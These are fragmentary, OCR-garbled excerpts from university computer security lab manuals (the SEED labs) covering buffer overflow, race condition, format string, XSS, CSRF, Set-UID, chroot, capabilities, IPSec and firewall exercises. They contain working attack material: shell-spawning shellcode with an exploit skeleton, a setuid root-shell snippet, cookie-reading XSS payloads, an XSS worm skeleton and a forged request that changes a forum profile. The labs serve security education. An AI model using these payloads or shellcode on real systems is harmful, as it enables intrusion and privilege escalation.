35. The format of the content can be learned 56 Laboratory for Computer Security Education 7 from LiveHttpHeader All we need to fill is subject message and sid var content subject XSSWorm You need to fill in the details Send the HTTP POST request Ajax send content lt script gt To make our worm work we should pay attention to how the session id information is used by phpBB From the output of the LiveHTTPHeaders extension we can notice that sid appears twice in the message posting request One is in the cookie section it is called phpbb2mysql_sid Therefore the HTTP POST request sent out by XMLHttpRequest must also include the cookie We already did it for you in the above skeleton code If we look carefully at the LiveHTTPHeaders output we can see that the same session id also ap pears in the line that starts with subject The phpBB server uses the session id here to prevent another type of attack i e the cross site request forgery attack In our forged message posting request we also need to add this session id information the value of this session id is exactly the same as that in phpbb2mysql_sid Without this session id in the request the request will be discarded by the server In order to retrieve the sid information from the cookie you may need to learn some string operations in JavaScript You should study this cited tutorial 4 3 6 Task 6 Writing a Self Propagating XSS Worm
36. a configuration file Please describe how you plan to implement your system to support this e Security testing In addition to testing the functionalities of your system you should also test the security of your system The test cases that you use for testing should cover those potential attacks identified in threat evaluation In your report you need to include these test cases and justify how they are related to the threat evaluation 6 Submission and Demonstration You should submit a detailed lab report to describe your design and implementation You should also de scribe how you test the functionalities and security of your system You also need to demonstrate your system to us Please sign up a demonstration time slot with the TA Please take the following into consider ation when you prepare for demonstraiton e The total time of the demo will be 15 minutes no more additional time would be given So prepare your demonstration so you can cover the important features e You are entirely responsible for showing the demo We will NOT even touch the keyboard during the demonstration so you should not depend on us to test your system If you fail to demo some important features of your system we will assume that your system does not have those features e You need to practice before you come to the demonstration If the system crashes or anything goes wrong it is your own fault We will not debug your problems nor give you extra time f
37. a set of less powerful privileges Each of these privileges is called a capability With capabilities we do not need to be a superuser to conduct privileged operations All we need is to have the capabilities that are needed for the privileged operations Therefore even if a privileged program is compromised adversaries can only get limited power This way risk of privileged program can be lowered quite significantly Capabilities has been implemented in Linux for quite some time but they could only be assigned to processes Since kernel version 2 6 24 capabilities can be assigned to files i e programs and turn those programs into privileged programs When a privileged program is executed the running process will carry those capabilities that are assigned to the program In some sense this is similar to the Set UID files but the major difference is the amount of privileged carried by the running processes We will use an example to show how capabilities can be used to remove unnecessary power assigned to certain privileged programs First let us login as a normal user and run the following command fo ping www google com The program should run successfully If you look at the file attribute of the program bin ping you will find out that ping is actually a Set UID program with the owner being root i e when you execute ping your effective user id becomes root and the running process is very powerful If there are 128
38. are designed properly we can exponentially reduce the winning probability for attackers The basic idea is to repeat access and open for several times at each time we open the file and at the end we check whether the same file is opened by checking their i nodes they should be the same Please use this strategy to modify the vulnerable program and repeat your attack Report how difficult it is to succeed if you can still succeed 2 4 Task 3 Protection Mechanism B Principle of Least Privilege The fundamental problem of the vulnerable program in this lab is the violation of the Principle of Least Privilege The programmer does understand that the user who runs the program might be too powerful so 32 Laboratory for Computer Security Education 3 he she introduced access to limit the user s power However this is not the proper approach A better approach is to apply the Principle of Least Privilege namely if users do not need certain privilege the privilege needs to be disabled We can use set euid system call to temporarily disable the root privilege and later enable it if neces sary Please use this approach to fix the vulnerability in the program and then repeat your attack Will you be able to succeed Please report your observations and explanation 3 Guidelines 3 1 Two Potential Targets There are possibly many ways to exploit the race condition vulnerability in vulp c One way is to use the vulnerabi
39. can affect the control flow of the program because an overflow can change the return address In this lab students will be given a program with a buffer overflow vulnerability their task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege In addition to the attacks students will be guided to walk through several protection schemes that have been implemented in Fedora to counter against the buffer overflow attacks Students need to evaluate whether the schemes work or not and explain why 2 Lab Tasks 2 1 Initial setup You can execute the lab tasks using the preconfigured Ubuntu machine Ubuntu and several other Linux based systems uses address space randomization to randomize the starting address of heap and stack This makes guessing the exact addresses difficult guessing addresses is one of the critical steps of buffer overflow attacks In this lab we disable these features using the following commands su root Password enter root password sysctl w kernel randomize_va_space 0 ExecShield Protection Fedora linux implements a protection mechanism called ExecShield by default but Ubuntu systems do not have this protection by default ExecShield essentially disallows executing any code that is stored in the stack As a result buffer overflow attacks will not work To disable ExecShield in Fedora you may use the following command su root Password enter root password sysctl w kern
40. capabilities you can run the application with and without the capability and explain the difference in the results You can also write your own applications if you prefer as long as they can demonstrate the effect of the capability Here is the list of capabilities that you need to work on read include linux capability h to learn about the capabilities e cap_dac_read_search e cap_dac_override e cap_fowner e cap_chown e cap_fsetid e cap_sys_module e cap_kill e cap_net_admin 129 Laboratory for Computer Security Education 4 e cap_net_raw e cap_sys_nice e cap_sys_time 3 2 Task 2 Adjusting Privileges Compared to the access control using ACL Access Control List capabilities has another advantage it is quite convenient to dynamically adjust the amount of privileges a process has which is essential for achieve the principle of least privilege For example when a privilege is no longer needed in a process we should allow the process to permanently remove the capabilities relevant to this privilege Therefore even if the process is compromised attackers will not be able to gain these deleted capabilities Adjusting privileges can be achieved using the following capability management operations 1 Deleting A process can permanently delete a capability 2 Disabling A process can temporarily disable a capability Unlike deleting disabling is only tempo rary the process can later enable it 3 Enabling A pr
41. does a newly created process get its roles When system boots up a number of processes e g file system process and memory management process will be created do they need to carry roles 3 3 Use Capabilities for Access Control When a process tries to access an object the operating system checks the process capability and decides whether to grant the access or not The following issues will give you some hints on how to design and implement such an access control system 3 4 To check capabilities you need to modify a number of places in Minix kernel Be very careful not to miss any place otherwise you will have a loophole in your system Please describe these places and your justification in your lab report Where do you check capabilities You should think about applying the reference monitor principle here The capability implemented in this lab co exists with the Minix s existing ACL access control mech anism How do you deal with their relationship For example if a process has the required capability but ACL denies the access should the access be allowed On the other hand if a process does not have the required capability but ACL allows the access should the access be allowed You need to justify your decisions in your reports Root s privileges should the super user root still have all the power i e having CAP ALL This is your design decision please justify your decisions Compatibility issue Keep in mi
42. e Inspection System administrators should have some means of finding out the policies that are cur rently active 2 2 Packet Filtering The main part of firewall is the filtering part which enforces firewall policies You can add the filtering functionality to Minix s network code inet You can refer to several helpful documents available on inet links are provided on the lab description page We suggest that you first work on this packet filtering module rather than the policy module To start with a policy module you can conduct filtering based on a hardcoded firewall policy Once your packet filtering starts working properly you can work on the policy implementation and integrating policy with filtering 3 Example Usage This section shows some example usage of our firewall Feel free to change the syntax according to your own convenience e minifirewall PROTO ALL BLOCK Block all packets e minifirewall PROTO TCP UNBLOCK Allow only TCP data e minifirewall ADDR 172 16 75 43 PROTO ALL A INCOMING BLOCK Block all incoming packets from the given IP address e minifirewall ADDR 172 16 75 43 NETMASK 255 255 0 0 A INCOMING PORT 80 PROTO TCP BLOCK Block all incoming TCP packets from addresses 172 16 that are directed towards port 80 e minifirewall PROTO ALL MANIPULATE ORIGPORT 22 NEWPORT 1403 Redirect all packets meant for port 22 to port number 1403 as the S
43. end of an IPSec tunnel you should be able to see that the existing TCP connections using this tunnel will freeze but not broken After you update the keys on the other end of the tunnel the connections will resume working This is a good way to test whether your IPSec implementation breaks TCP e UDP based applications should still work You can use the provided UDP client server program to do the testing 5 Virtual Private Network VPN 10 points 6 Software Engineering and overall impression 20 points we will evaluate how well you apply the software engineering principles in ensuring the security of your system It is your responsibility to show us the evidence during your demonstration If you don t show us anything regarding this we will assume that you have not given this a serious thought and will hence deduct points from you 8 Reference 1 RFC 2401 Security Architecture for IPSec 2 RFC 2406 IP Encapsulating Security Payload ESP 114 SEED Document 1 IPSec Gateway to Gateway Network Configuration Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published b
44. explain your solutions in your lab report a Is it possible for a malicious program to use setuid and setgid system calls to defeat Set RandomUID b Is it possible for a malicious program to defeat Set RandomUID by creating new processes 4 Bob decides to reserve 0 to 999 for the IDs of actual users Therefore random user ID starts from 1000 so Bob writes the following statement to generate a random ID unsigned int randomID rand 1000 Then he assigns the randomID to the effective user ID of the process Can anything go wrong because of this statement Please explain 105 Laboratory for Computer Security Education 2 5 There might be other potential loopholes We will award up to 50 bonus points to the identified loopholes 10 points for each Submission and Demonstration You should submit a detailed lab report to describe your design and implementation You should also describe how you test the functionalities and security of your system You also need to demonstrate your system to the TA Please sign up a demonstration time slot with the TA 106 Laboratory for Computer Security Education 1 IPSec Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify thi
45. files stated in the following can be downloaded from the web page of this lab typing in these files might introduce errors If you are interested in the syntax of these configuration files please refer to RFC 1035 for details 70 Laboratory for Computer Security Education 3 STTL 3D IN SOA ns example com admin example com 2008111001 serial today s date today s serial number 8H refresh seconds 2H retry seconds 4w expire seconds 1D minimum seconds IN NS ns example com Address of name server IN MX 10 mail example com Primary Mail Exchanger www IN A 192 168 0 101 Address of www example com mail IN A 192 168 0 102 Address of mail example com ns IN A 192 168 0 10 Address of ns example com example com IN A 192 168 0 100 Address for other URL in example com domain The symbol is a special notation meaning the origin from the named conf Therefore here stands for example com IN means internet SOA is short for Start Of Authority This zone file contains 7 resource records RRs a SOA Start Of Authority RR a NS Name Server RR a MX Mail eXchanger RR and 4 A host Address RRs We also need to setup the DNS reverse lookup file In the directory var cache bind compose a reverse DNS lookup file called 192 168 0 for example com domain STTL 3D IN SOA ns example com admin example com 2008111001 8H 2H 4W 1D IN NS ns exampl
46. fp 1 write fp buf size close fp else printf Open failed n 3 Submission You need to submit a detailed lab report to describe what you have done and what you have observed you also need to provide explanation to the observations that are interesting or surprising 30 Laboratory for Computer Security Education 1 Race Condition Vulnerability Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Overview The learning objective of this lab is for students to gain the first hand experience on the race condition vul nerability by putting what they have learned about the vulnerability from class into actions A race condition occurs when multiple processes access and manipulate the same data concurrently and the outcome of the execution depends on the particular order in which the access takes place If a privileged program has a race condition vulnerability attackers can run a parallel process to race against the privileged p
47. in stead get a free licence of WMware Workstation via VMware s acadmic program because there are several important features that are not supported by the Player such as taking snapshots Laboratory for Computer Security Education 1 Buffer Overflow Vulnerability Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Lab Overview The learning objective of this lab is for students to gain the first hand experience on buffer overflow vulner ability by putting what they have learned about the vulnerability from class into actions Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre allocated fixed length buffers This vulnerability can be utilized by a malicious user to alter the flow control of the program even execute arbitrary pieces of code This vulnerability arises due to the mixing of the storage for data e g buffers and the storage for controls e g return addresses an overflow in the data part
48. in HTTP POST request Ue HTTP GET requests are typically used for requests that do not involve any side effects The original phpBB does not use GET requests for posting a new message to the forum We modified the source code of php so that new messages can be posted using GET requests to facilitate task 1 In this task you will forge a POST request that modifies the profile information in phpBB www csrflabphpbb com Ina HTTP POST request the parameters for the request are provided in the HTTP message body Forging HTTP POST request is slightly more difficult A HTTP POST message for the trusted site can be generated using a form tag from the malicious site Furthermore we need a JavaScript program to automatically submit the form The server side script profile php allows users to modify their profile information using a POST request You can observe the structure of the request i e the parameters of the request by making some modifications to the profile and monitoring the request using LiveHTTPHeaders You may expect to see something similar to the following Ue W Content Type application x www form urlencoded Content Length 473 username admin amp email admin 40seed com amp cur_password amp new_password amp password_confirm amp icq amp aim msn amp yim k amp website amp location amp occupation amp interests signature I am goodtguy amp viewemail 1 amp hideonline 0 amp notifyreply 0 amp notify
49. interest policies that organizations may employ to prevent users from exceeding a reasonable level of authority for their positions NIST RBAC standard defines two types of separation of duty relations Static Separation of Duty SSD and Dynamic Separation of Duty DSD SSD enforces the separation of duty constraints on the assignment of users to roles for example membership in one role may prevent the user from being a member of one or more other roles depending on the SSD rules enforced DSD allows a user to be assigned conflicted roles but ensures that the conflicted roles cannot be activated simultaneously In this lab your system should support both SSD and DSD rules SSD and DSD policies i e rules are set by the system adminstrators You can define your own format for these policies Moreover you can decide where to store the policies how to effectively check these policies and how to update these policies We also assume that any update of the policies only affect new sessions and future operations It is important to identify where SSD and DSD policies should be checked e SSD policies need to be checked every time a role assignment occurs There are two places where a role might be added to a user one is conducted by the privileged users To simplify your design you can delay the enforcement of SSD until a user creates a new session i e login rather than at the point when the privileged users add the role Another place where a r
50. into a table of security parameter settings In the above example SPI 5598 refers to the security parameters used by the communication from 192 168 10 100 to 192 168 10 200 and SPI 6380 refers to the security parameters used by the other direction On both machines the security parameters indexed by the same SPI should be the same For example the following SPIs and security parameters should be set on both machines On Host 192 168 10 100 and 192 168 10 200 SPI Encryption Key MAC 5598 AES CBC aaaaa HMAC SHA 256 6380 AES CFB bbbbb HMAC MD5 Note that gateways can have multiple IP addresses each having different IPSec tunnels 108 Laboratory for Computer Security Education 3 3 Setting the Outer IP Header in ESP Tunnel Mode In ESP tunnel mode an outer IP header needs to be constructed Please read the RFC 2401 Section 5 1 2 for details on how the outer header is constructed We would like to mention how the src and dest IP addresses are constructed in the outer IP header The way how they are constructed depends the type of the IPSec tunnel e Host to Host Tunnel If we only use IPSec to establish an ESP tunnel between two hosts then the src and dest IP addresses will be copied from the inner IP header However in addition to this host to host tunnel e Host to Gateway Tunnel In this type of tunnel the src IP is still copied from the inner IP header but the dest IP becomes an gat
51. is inheritable namely all the children of the current process will have the same root as the parent process Using chroot we can confine a program to a specific directory so any damage a process can cause is confined to that directory In other words chroot creates an environment in which the actions of an untrusted process are restricted and such restriction protects the system from untrusted programs A process can call chroot system call to set its root directory to a specified directory For security reasons chroot can only be called by the super user otherwise normal users can gain the super user privilege if they can call chroot A command called chroot is also implemented in most Unix systems If we run Chroot newroot prog the system will run the prog using newroot as its root directory For the same reason the chroot command can only be executed by the super user i e the effective user id has to be super user The following is what you are expected to do in this lab 1 Understanding how chroot works Assume that we use t mp as the root of a jail Please develop experiment to answer the following questions 41 Laboratory for Computer Security Education 2 a Symbolic link if there is a symbolic link under tmp and this symbolic link points to a file outside of t mp can one follow this symbolic link to get out of the tmp jail b Hard link what if the link is a hard link rather that a symbolic link
52. is to construct contents for badfile In this code the shellcode is given to you You need to develop the rest exploit c x x A program that creates a file containing code for launching shellx include lt stdlib h gt include lt stdio h gt Laboratory for Computer Security Education 5 include lt string h gt char shellcode x31 xc0O xorl Seax eax x50 pushl eax x68 sh x pushl 0x68732f2f x x68 bin x pushl 0x6e69622f x89 xe3 movl sesp ebx x x50 pushl seax x x53 pushl Sebx x x89 xel movl sesp ecx x x99 x cdql x xb0 x0b movb S0x0b Sal x xcd x80 x int 0x80 x void main int argc char xxargv char buffer 517 FILE xbadfile x Initialize buffer with 0x90 NOP instruction x memset amp buffer 0x90 517 You need to fill the buffer with appropriate contents here x x Save the contents to the file badfile badfile fopen badfile w fwrite buffer 517 1 badfile fclose badfile After you finish the above program compile and run it This will generate the contents for badfile Then run the vulnerable program stack If your exploit is implemented correctly you should be able to get a root shell Important Please compile your vulnerable program first Please note that the program exploit c which generates the bad file can be compiled
53. myprog a Set UID root program and run it as a normal user e Make myprog a Set UID root program and run it in the root account e Make myprog a Set UID userl program i e the owner is userl which is another user ac count and run it as a different user not root user 7 15 points Relinquishing privileges and cleanup To be more secure Set UID programs usually call setuid system call to permanently relin quish their root privileges However sometimes this is not enough Compile the following program and make the program a set root uid program Run it in a normal user account and describe what you have observed Will the file etc zzz be modified Please explain your observation include lt stdio h gt include lt stdlib h gt include lt sys types h gt include lt sys stat h gt 38 Laboratory for Computer Security Education include lt f ecntl h gt void main int fd x Assume fd open x Simula sleep 1 that etc zzz is an important system file and it is owned by root with permission 0644 x etc zzz O_RDWR O_APPEND te the tasks conducted by the program x After HEC STE setuid ge if fork close exit 0 else x Now atta into write close Submission the task the root privileges are ime to relinguish the root privil tuid getuid returns the In the parent process fd
54. needed for the intended tasks This design clearly violates an essential security engineering principle the principle of least privilege As a consequence of the violation if there are vulnerabilities in these programs attackers might be able to exploit the vulnerabilities and abuse the root s privileges Capability can be used to replace the Set UID mechanism In Trusted Solaris 8 root s privileges are divided into 80 smaller capabilities Each privileged program is only assigned the capabilities that are necessary rather than given the root privilege A similar capability system is also developed in Linux In this lab we will implement a simplified capability system for Minix 2 Lab Tasks In a capability system when a program is executed its corresponding process is initialized with a list of capabilities tokens When the process tries to access an object the operating system should check the process capability and decides whether to grant the access or not 2 1 Required Capabilities 60 points To make this lab accomplishable within a short period of time we have only defined 5 capabilities Due to our simplification these five capabilities do not cover all of the root s privileges so they cannot totally replace Set UID They can only be used for privileged programs that just need a subset of our defined capabilities For those programs they do not need to be configured as a Set UID program instead they can use our capa
55. not own any file the program cannot read modify any file unless the file is world readable writable We will design such a mechanism for Minix in this lab Lab Tasks In this lab you need to design and implement a Set RandomUID mechanism When a Set RandomUID program is executed the operating system randomly generates a non existing user id and runs the program with this new user id as the effective uesr id You can consider Set RandomUID as an opposite to the Set UID mechanism Set UID allows users to escalate their privileges while Set RandomUID allows users to downgrade their privileges The implementation of Set RandomUID can be similar to that of Set UID The following list provides some useful hints 1 To mark a program as a Set RandomUID program we can use the unused sticky bit in the permis sion field of the I node data structure defined in usr src fs inode h You might need to modify the chmod c file under the usr src commands simple directory 2 Before a program is executed the program will be loaded into memory and a process will be created The system call exec in usr src mm exec c is invoked to handle the tasks You might need to modify this file 3 There are a number of potential loopholes in the Set RandomUID mechanism if you do not take care of them in your design In your lab report you need to explain whehther they are loopholes If yes you need to fix the loopholes in your implementation and also
56. professed rule of action or conduct in building a software or hardware system that is intended to be secure We have categorized our labs based on the fundamental computer security principles including Authen tication AU Access Control AC Cryptography CG Secure Programming SP and Secure Design SD The categorization is described in Table 1 SEED Document 2 Types Labs AU AC CG SP SD Buffer overflow Vulnerability Lab Return to libc Attack Lab Vul amp Race Condition Vulnerability Lab Attack Format String Vulnerability Lab Labs Chroot Sandbox Vulnerability Lab UG TCP IP Attack Lab UG DNS Pharming Attack Lab Cross Site Scripting XSS Attack Lab Cross Site Request Forgery CSRF Attack Lab SQL Injection Attack Lab Set UID Program Vulnerability Lab Pluggable Authentication Modules Lab UG Exploration Linux Capability Lab UG Labs SYN Cookie Lab UG Web Access Control Lab UG UG Set RandomUID Sandbox Lab Minix Capability Lab Design Minix Role Based Access Control Lab Labs Encrypted File System Lab G IPSec Lab G Firewall Lab Cc Q S E qrerere Q Q QA Q Ql QA AAA AAA Q Q Computer Security Principles AU Authentication AC Access Control CG Cryptography SP Secure Programming SE Secure Design Table 1 Principle Based Classification of SEED Labs UG indicate
57. program executed by the current process When a process executes a new program using exec its new capability sets are calculated according to the following formula pI_new pl pP_new X amp fP FI amp pl 135 SEED Document 2 pE_new pP_new if fE true pE_new empty if fE false A value ending with 11new indicates the newly calculated value A value beginning with a p indicates a process capability A value beginning with an f indicates a file capability X indicates capability bounding set This work is done by cap_bprm_apply _creds in linux security commoncap c Nothing special happens during fork or clone Child processes and threads are given an exact copy of the capabilities of the parent process The capability bounding set cap_bset is a set beyond which capabilities cannot grow Previous kernels implement cap_bset for whole OS You can find it in proc sys kernel cap bound Now each process has its own bounding set which can be modified droping only via prct1 2 2 Manipulate Process Capability Two system calls are provided to let users interact with process capabilities They are capget and capset in kernel capability c But unforturnately with file capability support process can only manip ulate its own capability this restriction is implemented in the following security commoncap c ifdef CONFIG_SECURITY_FILE CAPABILITIES static inline int cap_block_
58. provide the following supports e Instructor Manual For most of the labs we have a lab manual that are only for instructors These manuals come from students reports they describe in details how each of the tasks in the labs are carried out The manuals can help instructors prepare their labs To prevent these manuals from falling into students hands the instructor manuals will only be provided to instructors To get a copy of the manuals please send an email to wedu syr edu with your physical mail address and we will send a hardcopy of the manuals to you e RA Support Our budget allows us to hire a Research Assistant to help you prepare your labs If you have any question while preparing the labs feel free to send an email to wedu syr edu We will answer your questions in a timely fashion If you have a TA who can help you prepare the labs our RA can work with your TA to ensure that your TA know how to carry out the tasks in the labs This has been working quite well in the past e Feedbacks To help us improve the labs we really appreciate the feedbacks from you In particular we would like to know how you think about these labs how students think about the labs what problems you or your students have encountered while working on the labs where do you think we can improve and so on Feedbacks do not need to be formal they can be your impression or the words from students SEED Document 1 Guidelines Which SEED Labs Shou
59. s capability sets are copied from the parent When a process executes a new program its new capability sets are calculated according to the following formula pI_new pI pP_new fP fI amp pl pE_new pP_new if fE true pE_new empty if fE false A value ending with new indicates the newly calculated value A value beginning with a p indicates a process capability A value beginning with an f indicates a file capability To make it convenient for programs to disable enable delete their capabilities please add the following three functions to Libcap 2 16 libcap cap_proc c libcap 2 16 is the directory created when yourun tar xvf libcap 2 16 tar gz to extract the libcap package 130 Laboratory for Computer Security Education 5 int cap_disable cap_value_t capflag cap_t mycaps mycaps cap_get_proc if mycaps NULL return 1 if cap_set_flag mycaps CAP_EFFECTIVE 1 amp capflag CAP_CLEAR 0 return 1 if cap_set_proc mycaps 0 return 1 return 0 int cap_enable cap_value_t capflag cap_t mycaps mycaps cap_get_proc if mycaps NULL return 1 if cap_set_flag mycaps CAP_EFFECTIVE 1 amp capflag CAP_SET 0 return 1 if cap_set_proc mycaps 0 return 1 return 0 int cap_drop cap_value_t capflag cap_t mycaps mycaps cap_get
60. selected for use with IPSec is IKE Internet Key Exchange under the IPSec domain of interpretation Other automated SA management protocols may be employed In this lab you only need to implement the manual method namely system administrators at both ends of a communication manually setup and manage the SAs and secret keys Your implementation should provide system administrators with an interface to conduct such manual management 109 Laboratory for Computer Security Education 4 5 Encryption Algorithm We assume that AES algorithm a 128 bit block cipher is used for encryp tion and decryption AES s key size can be 128 bits 192 bits or 256 bits Your IPSec implementation should be able to support all these three options The code given in aes c is for encrypting decrypting one block i e 128 bits if we need to encrypt decrypt data that are more than one block we need to use a specific AES mode such as ECB Electronic Code Book CBC Cipher Block Chaining CFB Cipher Feedback etc In this lab we only support the AES CBC and AES CFB modes You need to implement AES CBC and AES CFB using the given AES code Both modes require an Initial Vector IV which should be carried in each packet According to RFC 3602 http www faqs org rfcs rfc3602 html the ESP payload is made up of the IV followed by raw cipher text Thus the payload field as defined in ESP is broken down according to the following diagram Initializat
61. so that you can recover to the previous state in case it might go wrong 7 2 Run the VM in proper version of VMWare This VM is build on VMware Workstation v6 5 0 Touse this VM you should open SEEDUbuntu9 vmx in VMware Workstation v6 5 0 or newer version or VMware Player It s recommended that your host machine which VMware runs on should have at least 1G RAM and 8G free disk space Note for Macintosh Users The pre configured virtual machine is not compatible with VMware Fusion 1 x If you are using VMware Fusion 1 x then you may download a free upgrade to VMware fusion 2 5 from the following web site http www vmware com download fusion Our pre configured virtual machine has been tested on VMware Fusion 2 04 an d 2 05 7 3 X Server Errors Some of the labs need to change bin sh making it pointing to bin zsh originally it points to bin bash If you forget to change it back to bash you may encounter an X server error during the system bootup When this error happens your X server cannot start and you can only log into system in the text mode To recover from this problem follow these steps 1 Login as root in the command prompt When the X server error happens the system will let you log into the root you need to know the root password in the text mode 2 Execute the following commands is the prompt for root user do not enter the mount o remount cd bin rm sh ln s bash sh s SF OHO H
62. supervised lab environment In such a case the instructor may provide the following background information to the students prior to doing the lab 1 How to use the virtual machine Firefox web browser and the LiveHttpHeaders extension 2 Basics of JavaScript and XMLHttpRequest object 3 A brief overview of the tasks 4 How to use the C program that listens on a port 5 How to write a java program to send a HTTP message post 3 Lab Tasks 3 1 Task 1 Posting a Malicious Message to Display an Alert Window The objective of this task is to post a malicious message that contains JavaScript to display an alert window The JavaScript should be provided along with the user comments in the message The following JavaScript will display an alert window lt script gt alert XSS lt script gt If you post this JavaScript along with your comments in the message board then any user who views this comment will see the alert window 3 2 Task 2 Posting a Malicious Message to Display Cookies The objective of this task is to post a malicious message on the message board containing a JavaScript code such that whenever a user views this message the user s cookies will be printed out For instance consider the following message that contains a JavaScript code lt script gt alert document cookie lt script gt Hello Everybody Welcome to this message board When a user views this message post he she will see a po
63. the binary code of the program Set UID is only readable executable by you and there is no way you can modify the code Namely you need to achieve the above objectives without modifying the vulnerable code However you do have a copy of the source code which can help you design your attacks vul_prog c define SECRET1 0x44 define SECRET2 0x55 int main int argc char xargv char user_input 100 int secret int int_input int a b c d other variables not used here x x The secret value is stored on the heap secret int x malloc 2 sizeof int getting the secret secret 0 SECRET1 secret 1 SECRET2 printf The variable secret s address is 0x 8x on stack n amp secret printf The variable secret s value is 0x 8x on heap n secret printf secret 0 s address is 0x 8x on heap n amp secret 0 printf secret 1 s address is 0x 8x on heap n amp secret 1 printf Please enter a decimal integer n scanf Sd Gint_input getting an input from user printf Please enter a string n scanf s user_input getting a string from user lt Vulnerable place printf user_input print a y x Verify whether your attack is successful lt printf The original secrets 0x x 0Ox x n SECRET1 SECRETZ2 printf The new secrets OxSx Ox x n
64. under user s control By changing these variables malicious users can control the behavior of the Set UID program The Set UID program below is supposed to execute the bin 1s command however the pro grammer only uses the relative path for the 1s command rather than the absolute path int main system 1s return 0 a Can you let this Set UID program owned by root run your code instead of bin 1s If you can is your code running with the root privilege Describe and explain your observations b Now change bin sh so it points back to bin bash and repeat the above attack Can you still get the root privilege Describe and explain your observations 5 15 points The difference between system and execve Before you work on this task please make sure that bin sh is pointed to bin zsh Background Bob works for an auditing agency and he needs to investigate a company for a sus pected fraud For the investigation purpose Bob needs to be able to read all the files in the company s Unix system on the other hand to protect the integrity of the system Bob should not be able to modify any file To achieve this goal Vince the superuser of the system wrote a special set root uid program see below and then gave the executable permission to Bob This program requires Bob to type a file name at the command line and then it will run bin cat to display the specified file 36 Laboratory for Computer Secu
65. units as possible while still isolating code that has security privileges This same principle explains why submarines are built with many different chambers each separately sealed This principle is also illustrated by the Sandbox mechanism in computer systems Sandbox can provide a restricted environment for us to run programs that are not completely trustworthy For example if the program is downloaded from an untrusted source running the program in an unrestricted environment can expose the system to potential risks If these programs can be executed in a restricted environment even if the programs behave maliciously the programs might contain malicious contents or they might be compromised by attackers during the execution their damage is confined within the restricted environment Almost all the Unix systems have a simple built in sandbox mechanism called chroot In this lab students need to figure out how chroot works why it works and why it should only be used by root Moreover students will see the vulnerabilities of this type of sandbox 2 Lab Tasks The chroot command in Unix redefines the meaning of the root directory We can use this command to change the root directory of the current process to any directory For example if we chroot to tmp in a process the root in the current process becomes tmp If the process tries to access a file named etc xyz it will in fact access the file tmp etc xyz The meaning of root
66. want to put the libcap library in dir_name wget http www kernel org pub linux libs security linux privs libcap2 libcap 2 16 tar gz tar xvf libcap 2 16 tar gz cd libcap 2 16 make this will compile libcap HE make install Se SF OSE OSE Note If you are using our pre built Ubuntu Virtual Machine libcap 2 16 is already installed If you use Fedora 9 for this lab you may want to use older version of Libcap For this lab you need to get familiar with the following commands that come with Libcap e setcap assign capabilities to a file e getcap display the capabilities that carried by a file e getpcaps display the capabilities carried by a process 127 Laboratory for Computer Security Education 2 2 2 Put SELinux in Permissive Mode Ubuntu 9 doesn t come with SELinux Skip this section if your Linux doesn t have SELinux However recent versions of Fedora come with SELinux Unfortunately SELinux will be in our way preventing us from doing some of the activities in this lab We need to put SELinux to permissive mode for this lab To temporarily put SELinux to permissive mode issue setenforce 0 as root To make per missive mode as a startup mode you need to modify etc selinux config by changing the line SELINUX enforcing to SELINUX permissive Note do not disable SELinux only tem porarily put it in the permissive mode otherwise when you enable the SELinux next time the
67. we need to use the LiveHTTPHeaders exten sion for Firefox to inspect the HTTP requests and responses The pre built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions Starting the Apache Server The apache web server is also included in the pre built Ubuntu image However the web server is not started by default You have to first start the web server using one of the following two commands o sudo apache2ctl start sudo service apache2 start The phpBB Web Application The phpBB web application is already set up in the pre built Ubuntu VM image We have also created several user accounts in the phpBB server The password information can be obtained from the posts on the front page You can access the phpBB server for this lab using the following URLs the apache server needs to be started first URL Description Directory http www soplab com Local web application var www SOP http www soplabattacker com Local web application var www SOP attacker http www originalphpbb com Locally setup phpBB var www OriginalPhpbb Configuring DNS These URLs are only accessible from inside of the virtual machine because we have modified the etc hosts file to map the domain names of these URLs to the virtual machine s local IP address 127 0 0 1 Basically we added the following three entries to the etc hosts file 139 Laboratory f
68. with the default Stack Guard protection enabled This is because we are not going to overflow the buffer in this program We will be overflowing the buffer in stack c which is compiled with the default Stack Guard protection enabled gcc o exploit exploit c S exploit create the badfile stack launch the attack by running the vulnerable program lt Bingo You ve got a root shell It should be noted that although you have obtained the prompt your real user id is still yourself the effective user id is now root You can check this by typing the following Laboratory for Computer Security Education 6 id uid 500 euid 0 root Many commands will behave differently if they are executed as Set UID root processes instead of just as root processes because they recognize that the real user id is not root To solve this problem you can run the following program to turn the real user id to root This way you will have a real root process which is more powerful void main setuid 0 system bin sh 2 5 Task 2 Protection in bin bash Now we let bin sh point back to bin bash and run the same attack developed in the previous task Can you get a shell Is the shell the root shell What has happened You should describe your observation and explaination in your lab report S su root Password enter root password cd bin rm sh ln s bash sh link bin sh to bin
